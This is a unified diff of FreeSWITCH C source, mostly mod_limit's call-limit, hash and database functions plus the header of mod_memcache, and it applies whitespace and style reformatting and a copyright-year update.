switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
|
||||
|
||||
if (errmsg) {
|
||||
@@ -174,8 +164,8 @@ static switch_bool_t limit_execute_sql_callback(switch_mutex_t *mutex, char *sql
|
||||
static switch_xml_config_string_options_t limit_config_dsn = { NULL, 0, "[^:]+:[^:]+:.+" };
|
||||
|
||||
static switch_xml_config_item_t config_settings[] = {
|
||||
SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
|
||||
"dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
|
||||
SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
|
||||
"dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
|
||||
SWITCH_CONFIG_ITEM_END()
|
||||
};
|
||||
|
||||
@@ -184,13 +174,13 @@ static switch_status_t do_config()
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
char *sql = NULL;
|
||||
|
||||
|
||||
limit_config_dsn.pool = globals.pool;
|
||||
|
||||
if (switch_xml_config_parse_module_settings("limit.conf", SWITCH_FALSE, config_settings) != SWITCH_STATUS_SUCCESS) {
|
||||
return SWITCH_STATUS_TERM;
|
||||
}
|
||||
|
||||
|
||||
if (globals.odbc_dsn) {
|
||||
if ((globals.odbc_user = strchr(globals.odbc_dsn, ':'))) {
|
||||
*globals.odbc_user++ = '\0';
|
||||
@@ -203,7 +193,7 @@ static switch_status_t do_config()
|
||||
globals.odbc_dsn = globals.odbc_user = globals.odbc_pass;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (zstr(globals.odbc_dsn)) {
|
||||
globals.dbname = "call_limit";
|
||||
@@ -225,16 +215,16 @@ static switch_status_t do_config()
|
||||
NULL
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
switch_cache_db_test_reactive(dbh, "select * from limit_data", NULL, limit_sql);
|
||||
switch_cache_db_test_reactive(dbh, "select * from db_data", NULL, db_sql);
|
||||
switch_cache_db_test_reactive(dbh, "select * from group_data", NULL, group_sql);
|
||||
|
||||
|
||||
for (x = 0; indexes[x]; x++) {
|
||||
switch_cache_db_execute_sql(dbh, indexes[x], NULL);
|
||||
}
|
||||
|
||||
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
|
||||
sql = switch_mprintf("delete from limit_data where hostname='%q';", globals.hostname);
|
||||
@@ -248,7 +238,7 @@ static switch_status_t do_config()
|
||||
static void limit_fire_event(const char *realm, const char *key, uint32_t usage, uint32_t rate, uint32_t max, uint32_t ratemax)
|
||||
{
|
||||
switch_event_t *event;
|
||||
|
||||
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, LIMIT_EVENT_USAGE) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "realm", realm);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", key);
|
||||
@@ -268,8 +258,7 @@ static switch_status_t db_state_handler(switch_core_session_t *session)
|
||||
const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
|
||||
|
||||
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
|
||||
sql = switch_mprintf("delete from limit_data where uuid='%q';",
|
||||
switch_core_session_get_uuid(session));
|
||||
sql = switch_mprintf("delete from limit_data where uuid='%q';", switch_core_session_get_uuid(session));
|
||||
limit_execute_sql(sql, globals.mutex);
|
||||
switch_safe_free(sql);
|
||||
switch_core_event_hook_remove_state_change(session, db_state_handler);
|
||||
@@ -279,47 +268,46 @@ static switch_status_t db_state_handler(switch_core_session_t *session)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t hash_state_handler(switch_core_session_t *session)
|
||||
static switch_status_t hash_state_handler(switch_core_session_t *session)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_channel_state_t state = switch_channel_get_state(channel);
|
||||
limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
|
||||
const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
|
||||
|
||||
|
||||
/* The call is either hung up, or is going back into the dialplan, decrement appropriate couters */
|
||||
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
|
||||
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
|
||||
switch_hash_index_t *hi;
|
||||
switch_mutex_lock(globals.limit_hash_mutex);
|
||||
|
||||
/* Loop through the channel's hashtable which contains mapping to all the limit_hash_item_t referenced by that channel */
|
||||
while((hi = switch_hash_first(NULL, pvt->hash)))
|
||||
{
|
||||
while ((hi = switch_hash_first(NULL, pvt->hash))) {
|
||||
void *val = NULL;
|
||||
const void *key;
|
||||
switch_ssize_t keylen;
|
||||
limit_hash_item_t *item = NULL;
|
||||
|
||||
|
||||
switch_hash_this(hi, &key, &keylen, &val);
|
||||
|
||||
item = (limit_hash_item_t*)val;
|
||||
item->total_usage--;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)key, item->total_usage);
|
||||
|
||||
if (item->total_usage == 0) {
|
||||
|
||||
item = (limit_hash_item_t *) val;
|
||||
item->total_usage--;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) key, item->total_usage);
|
||||
|
||||
if (item->total_usage == 0) {
|
||||
/* Noone is using this item anymore */
|
||||
switch_core_hash_delete(globals.limit_hash, (const char*)key);
|
||||
switch_core_hash_delete(globals.limit_hash, (const char *) key);
|
||||
free(item);
|
||||
}
|
||||
|
||||
switch_core_hash_delete(pvt->hash, (const char*)key);
|
||||
|
||||
switch_core_hash_delete(pvt->hash, (const char *) key);
|
||||
}
|
||||
|
||||
|
||||
/* Remove handler */
|
||||
switch_core_event_hook_remove_state_change(session, hash_state_handler);
|
||||
|
||||
|
||||
switch_mutex_unlock(globals.limit_hash_mutex);
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -474,21 +462,21 @@ SWITCH_STANDARD_APP(hash_function)
|
||||
char *mydata = NULL;
|
||||
char *hash_key = NULL;
|
||||
char *value = NULL;
|
||||
|
||||
|
||||
switch_mutex_lock(globals.db_hash_mutex);
|
||||
|
||||
|
||||
if (!zstr(data)) {
|
||||
mydata = strdup(data);
|
||||
switch_assert(mydata);
|
||||
argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
|
||||
if (argc < 3 || !argv[0]) {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
|
||||
hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
|
||||
|
||||
|
||||
if (!strcasecmp(argv[0], "insert")) {
|
||||
if (argc < 4) {
|
||||
goto usage;
|
||||
@@ -508,13 +496,13 @@ SWITCH_STANDARD_APP(hash_function)
|
||||
} else {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
|
||||
goto done;
|
||||
|
||||
usage:
|
||||
usage:
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: hash %s\n", HASH_USAGE);
|
||||
|
||||
done:
|
||||
done:
|
||||
switch_mutex_unlock(globals.db_hash_mutex);
|
||||
switch_safe_free(mydata);
|
||||
switch_safe_free(hash_key);
|
||||
@@ -536,13 +524,13 @@ SWITCH_STANDARD_API(hash_api_function)
|
||||
switch_assert(mydata);
|
||||
argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
|
||||
if (argc < 3 || !argv[0]) {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
|
||||
hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
|
||||
|
||||
|
||||
if (!strcasecmp(argv[0], "insert")) {
|
||||
if (argc < 4) {
|
||||
goto usage;
|
||||
@@ -570,17 +558,17 @@ SWITCH_STANDARD_API(hash_api_function)
|
||||
} else {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
|
||||
goto done;
|
||||
|
||||
usage:
|
||||
|
||||
usage:
|
||||
stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
switch_mutex_unlock(globals.db_hash_mutex);
|
||||
switch_safe_free(mydata);
|
||||
switch_safe_free(hash_key);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -649,7 +637,7 @@ SWITCH_STANDARD_API(group_api_function)
|
||||
|
||||
limit_execute_sql_callback(NULL, sql, group_callback, &cbt);
|
||||
switch_safe_free(sql);
|
||||
|
||||
|
||||
*(buf + (strlen(buf) - 1)) = '\0';
|
||||
stream->write_function(stream, "%s", buf);
|
||||
|
||||
@@ -729,9 +717,9 @@ static switch_bool_t do_limit(switch_core_session_t *session, const char *realm,
|
||||
got = atoi(buf);
|
||||
|
||||
if (max < 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got+1);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got + 1);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got+1, max);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got + 1, max);
|
||||
}
|
||||
|
||||
if (max >= 0 && got + 1 > max) {
|
||||
@@ -746,7 +734,7 @@ static switch_bool_t do_limit(switch_core_session_t *session, const char *realm,
|
||||
switch_core_session_get_uuid(session));
|
||||
limit_execute_sql(sql, NULL);
|
||||
switch_safe_free(sql);
|
||||
|
||||
|
||||
{
|
||||
const char *susage = switch_core_session_sprintf(session, "%d", ++got);
|
||||
|
||||
@@ -787,8 +775,8 @@ SWITCH_STANDARD_APP(limit_function)
|
||||
|
||||
realm = argv[0];
|
||||
id = argv[1];
|
||||
|
||||
/* Accept '-' as unlimited (act as counter)*/
|
||||
|
||||
/* Accept '-' as unlimited (act as counter) */
|
||||
if (argv[2][0] == '-') {
|
||||
max = -1;
|
||||
} else {
|
||||
@@ -796,7 +784,7 @@ SWITCH_STANDARD_APP(limit_function)
|
||||
|
||||
if (max < 0) {
|
||||
max = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (argc >= 4) {
|
||||
@@ -808,12 +796,12 @@ SWITCH_STANDARD_APP(limit_function)
|
||||
if (!do_limit(session, realm, id, max)) {
|
||||
/* Limit exceeded */
|
||||
if (*xfer_exten == '!') {
|
||||
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
|
||||
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
|
||||
} else {
|
||||
switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
/* !\brief Releases usage of a limit_-controlled ressource */
|
||||
@@ -821,8 +809,7 @@ static void limit_release(switch_core_session_t *session, const char *realm, con
|
||||
{
|
||||
char *sql = NULL;
|
||||
|
||||
sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'",
|
||||
switch_core_session_get_uuid(session), realm, id);
|
||||
sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'", switch_core_session_get_uuid(session), realm, id);
|
||||
limit_execute_sql(sql, globals.mutex);
|
||||
switch_safe_free(sql);
|
||||
}
|
||||
@@ -845,16 +832,16 @@ SWITCH_STANDARD_APP(limit_execute_function)
|
||||
mydata = switch_core_session_strdup(session, data);
|
||||
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
|
||||
if (argc < 2) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_execute %s\n", LIMITEXECUTE_USAGE);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
realm = argv[0];
|
||||
id = argv[1];
|
||||
|
||||
/* Accept '-' as unlimited (act as counter)*/
|
||||
|
||||
/* Accept '-' as unlimited (act as counter) */
|
||||
if (argv[2][0] == '-') {
|
||||
max = -1;
|
||||
} else {
|
||||
@@ -862,7 +849,7 @@ SWITCH_STANDARD_APP(limit_execute_function)
|
||||
|
||||
if (max < 0) {
|
||||
max = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
app = argv[3];
|
||||
@@ -915,7 +902,7 @@ SWITCH_STANDARD_API(limit_usage_function)
|
||||
|
||||
stream->write_function(stream, "%s", buf);
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_safe_free(mydata);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -937,22 +924,21 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
|
||||
time_t now = switch_epoch_time_now(NULL);
|
||||
limit_hash_private_t *pvt = NULL;
|
||||
uint8_t increment = 1;
|
||||
|
||||
|
||||
hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
|
||||
|
||||
switch_mutex_lock(globals.limit_hash_mutex);
|
||||
/* Check if that realm+id has ever been checked */
|
||||
if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
|
||||
if (!(item = (limit_hash_item_t *) switch_core_hash_find(globals.limit_hash, hashkey))) {
|
||||
/* No, create an empty structure and add it, then continue like as if it existed */
|
||||
item = (limit_hash_item_t*)malloc(sizeof(limit_hash_item_t));
|
||||
item = (limit_hash_item_t *) malloc(sizeof(limit_hash_item_t));
|
||||
switch_assert(item);
|
||||
memset(item, 0, sizeof(limit_hash_item_t));
|
||||
switch_core_hash_insert(globals.limit_hash, hashkey, item);
|
||||
}
|
||||
|
||||
/* Did we already run on this channel before? */
|
||||
if ((pvt = switch_channel_get_private(channel, "limit_hash")))
|
||||
{
|
||||
if ((pvt = switch_channel_get_private(channel, "limit_hash"))) {
|
||||
/* Yes, but check if we did that realm+id
|
||||
If we didnt, allow incrementing the counter.
|
||||
If we did, dont touch it but do the validation anyways
|
||||
@@ -960,7 +946,7 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
|
||||
increment = !switch_core_hash_find(pvt->hash, hashkey);
|
||||
} else {
|
||||
/* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
|
||||
pvt = (limit_hash_private_t*)switch_core_session_alloc(session, sizeof(limit_hash_private_t));
|
||||
pvt = (limit_hash_private_t *) switch_core_session_alloc(session, sizeof(limit_hash_private_t));
|
||||
memset(pvt, 0, sizeof(limit_hash_private_t));
|
||||
switch_core_hash_init(&pvt->hash, switch_core_session_get_pool(session));
|
||||
switch_channel_set_private(channel, "limit_hash", pvt);
|
||||
@@ -974,13 +960,14 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
|
||||
/* Always increment rate when its checked as it doesnt depend on the channel */
|
||||
item->rate_usage++;
|
||||
|
||||
if ((max >= 0) && (item->rate_usage > (uint32_t)max)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n", hashkey, max, interval, item->rate_usage);
|
||||
if ((max >= 0) && (item->rate_usage > (uint32_t) max)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n",
|
||||
hashkey, max, interval, item->rate_usage);
|
||||
status = SWITCH_FALSE;
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
} else if ((max >= 0) && (item->total_usage + increment > (uint32_t)max)) {
|
||||
} else if ((max >= 0) && (item->total_usage + increment > (uint32_t) max)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is already at max value (%d)\n", hashkey, item->total_usage);
|
||||
status = SWITCH_FALSE;
|
||||
goto end;
|
||||
@@ -994,12 +981,13 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
|
||||
if (max == -1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", hashkey, item->total_usage);
|
||||
} else if (interval == 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey, item->rate_usage, max, interval);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey,
|
||||
item->rate_usage, max, interval);
|
||||
}
|
||||
|
||||
limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >=0 ? (uint32_t)max : 0);
|
||||
limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >= 0 ? (uint32_t) max : 0);
|
||||
}
|
||||
|
||||
/* Save current usage & rate into channel variables so it can be used later in the dialplan, or added to CDR records */
|
||||
@@ -1016,7 +1004,7 @@ static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *r
|
||||
|
||||
switch_core_event_hook_add_state_change(session, hash_state_handler);
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_mutex_unlock(globals.limit_hash_mutex);
|
||||
return status;
|
||||
}
|
||||
@@ -1028,28 +1016,28 @@ static void limit_hash_release(switch_core_session_t *session, const char *realm
|
||||
limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
|
||||
limit_hash_item_t *item = NULL;
|
||||
char *hashkey = NULL;
|
||||
|
||||
|
||||
if (!pvt || !pvt->hash) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
|
||||
|
||||
|
||||
switch_mutex_lock(globals.limit_hash_mutex);
|
||||
|
||||
if ((item = (limit_hash_item_t*)switch_core_hash_find(pvt->hash, hashkey))) {
|
||||
item->total_usage--;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)hashkey, item->total_usage);
|
||||
|
||||
|
||||
if ((item = (limit_hash_item_t *) switch_core_hash_find(pvt->hash, hashkey))) {
|
||||
item->total_usage--;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) hashkey, item->total_usage);
|
||||
|
||||
switch_core_hash_delete(pvt->hash, hashkey);
|
||||
|
||||
if (item->total_usage == 0) {
|
||||
|
||||
if (item->total_usage == 0) {
|
||||
/* Noone is using this item anymore */
|
||||
switch_core_hash_delete(globals.limit_hash, (const char*)hashkey);
|
||||
switch_core_hash_delete(globals.limit_hash, (const char *) hashkey);
|
||||
free(item);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
switch_mutex_unlock(globals.limit_hash_mutex);
|
||||
}
|
||||
|
||||
@@ -1072,29 +1060,28 @@ SWITCH_STANDARD_APP(limit_hash_function)
|
||||
mydata = switch_core_session_strdup(session, data);
|
||||
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
|
||||
if (argc < 2) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash %s\n", LIMITHASH_USAGE);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
realm = argv[0];
|
||||
id = argv[1];
|
||||
|
||||
|
||||
/* If max is omitted or negative, only act as a counter and skip maximum checks */
|
||||
if (argc > 2) {
|
||||
if (argv[2][0] == '-') {
|
||||
max = -1;
|
||||
} else {
|
||||
char *szinterval = NULL;
|
||||
if ((szinterval = strchr(argv[2], '/')))
|
||||
{
|
||||
if ((szinterval = strchr(argv[2], '/'))) {
|
||||
*szinterval++ = '\0';
|
||||
interval = atoi(szinterval);
|
||||
}
|
||||
|
||||
|
||||
max = atoi(argv[2]);
|
||||
|
||||
|
||||
if (max < 0) {
|
||||
max = 0;
|
||||
}
|
||||
@@ -1106,11 +1093,11 @@ SWITCH_STANDARD_APP(limit_hash_function)
|
||||
} else {
|
||||
xfer_exten = limit_def_xfer_exten;
|
||||
}
|
||||
|
||||
|
||||
if (!do_limit_hash(session, realm, id, max, interval)) {
|
||||
/* Limit exceeded */
|
||||
if (*xfer_exten == '!') {
|
||||
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
|
||||
switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
|
||||
} else {
|
||||
switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
|
||||
}
|
||||
@@ -1137,23 +1124,22 @@ SWITCH_STANDARD_APP(limit_hash_execute_function)
|
||||
mydata = switch_core_session_strdup(session, data);
|
||||
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
|
||||
if (argc < 5) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash_execute %s\n", LIMITHASHEXECUTE_USAGE);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
realm = argv[0];
|
||||
id = argv[1];
|
||||
|
||||
/* Accept '-' as unlimited (act as counter)*/
|
||||
|
||||
/* Accept '-' as unlimited (act as counter) */
|
||||
if (argv[2][0] == '-') {
|
||||
max = -1;
|
||||
} else {
|
||||
char *szinterval = NULL;
|
||||
|
||||
if ((szinterval = strchr(argv[2], '/')))
|
||||
{
|
||||
if ((szinterval = strchr(argv[2], '/'))) {
|
||||
*szinterval++ = '\0';
|
||||
interval = atoi(szinterval);
|
||||
}
|
||||
@@ -1162,9 +1148,9 @@ SWITCH_STANDARD_APP(limit_hash_execute_function)
|
||||
|
||||
if (max < 0) {
|
||||
max = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
app = argv[3];
|
||||
app_arg = argv[4];
|
||||
|
||||
@@ -1191,31 +1177,31 @@ SWITCH_STANDARD_API(limit_hash_usage_function)
|
||||
uint32_t count = 0;
|
||||
|
||||
switch_mutex_lock(globals.limit_hash_mutex);
|
||||
|
||||
|
||||
if (!zstr(cmd)) {
|
||||
mydata = strdup(cmd);
|
||||
switch_assert(mydata);
|
||||
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
}
|
||||
|
||||
|
||||
if (argc < 2) {
|
||||
stream->write_function(stream, "USAGE: limit_hash_usage %s\n", LIMIT_HASH_USAGE_USAGE);
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
hash_key = switch_mprintf("%s_%s", argv[0], argv[1]);
|
||||
|
||||
|
||||
if ((item = switch_core_hash_find(globals.limit_hash, hash_key))) {
|
||||
count = item->total_usage;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
stream->write_function(stream, "%d", count);
|
||||
|
||||
end:
|
||||
|
||||
end:
|
||||
switch_safe_free(mydata);
|
||||
switch_safe_free(hash_key);
|
||||
switch_mutex_unlock(globals.limit_hash_mutex);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -1231,11 +1217,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load)
|
||||
|
||||
|
||||
if (switch_event_reserve_subclass(LIMIT_EVENT_USAGE) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"",
|
||||
LIMIT_EVENT_USAGE);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"", LIMIT_EVENT_USAGE);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
if ((status = do_config() != SWITCH_STATUS_SUCCESS)) {
|
||||
return status;
|
||||
}
|
||||
@@ -1248,18 +1233,20 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load)
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
|
||||
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "limit", "Limit", LIMIT_DESC, limit_function, LIMIT_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "limit_execute", "Limit", LIMITEXECUTE_USAGE, limit_execute_function, LIMITEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "limit_hash", "Limit (hash)", LIMITHASH_DESC, limit_hash_function, LIMITHASH_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE,
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "db", "Insert to the db", DB_DESC, db_function, DB_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "hash", "Insert into the hashtable", HASH_DESC, hash_function, HASH_USAGE, SAF_SUPPORT_NOMEDIA)
|
||||
SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
|
||||
SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function, LIMIT_HASH_USAGE_USAGE);
|
||||
SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function,
|
||||
LIMIT_HASH_USAGE_USAGE);
|
||||
SWITCH_ADD_API(commands_api_interface, "limit_usage", "Gets the usage count of a limited resource", limit_usage_function, "<realm> <id>");
|
||||
SWITCH_ADD_API(commands_api_interface, "db", "db get/set", db_api_function, "[insert|delete|select]/<realm>/<key>/<value>");
|
||||
switch_console_set_complete("add db insert");
|
||||
@@ -1279,13 +1266,13 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load)
|
||||
}
|
||||
|
||||
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
|
||||
{
|
||||
|
||||
|
||||
switch_event_free_subclass(LIMIT_EVENT_USAGE);
|
||||
|
||||
|
||||
switch_xml_config_cleanup(config_settings);
|
||||
|
||||
|
||||
switch_mutex_destroy(globals.mutex);
|
||||
switch_mutex_destroy(globals.limit_hash_mutex);
|
||||
switch_mutex_destroy(globals.db_hash_mutex);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -42,11 +42,8 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_memcache_load);
|
||||
SWITCH_MODULE_DEFINITION(mod_memcache, mod_memcache_load, mod_memcache_shutdown, NULL);
|
||||
|
||||
static char *SYNTAX = "memcache <set|replace|add> <key> <value> [expiration [flags]]\n"
|
||||
"memcache <get|getflags> <key>\n"
|
||||
"memcache <delete> <key>\n"
|
||||
"memcache <increment|decrement> <key> [offset [expires [flags]]]\n"
|
||||
"memcache <flush>\n"
|
||||
"memcache <status> [verbose]\n";
|
||||
"memcache <get|getflags> <key>\n"
|
||||
"memcache <delete> <key>\n" "memcache <increment|decrement> <key> [offset [expires [flags]]]\n" "memcache <flush>\n" "memcache <status> [verbose]\n";
|
||||
|
||||
static struct {
|
||||
memcached_st *memcached;
|
||||
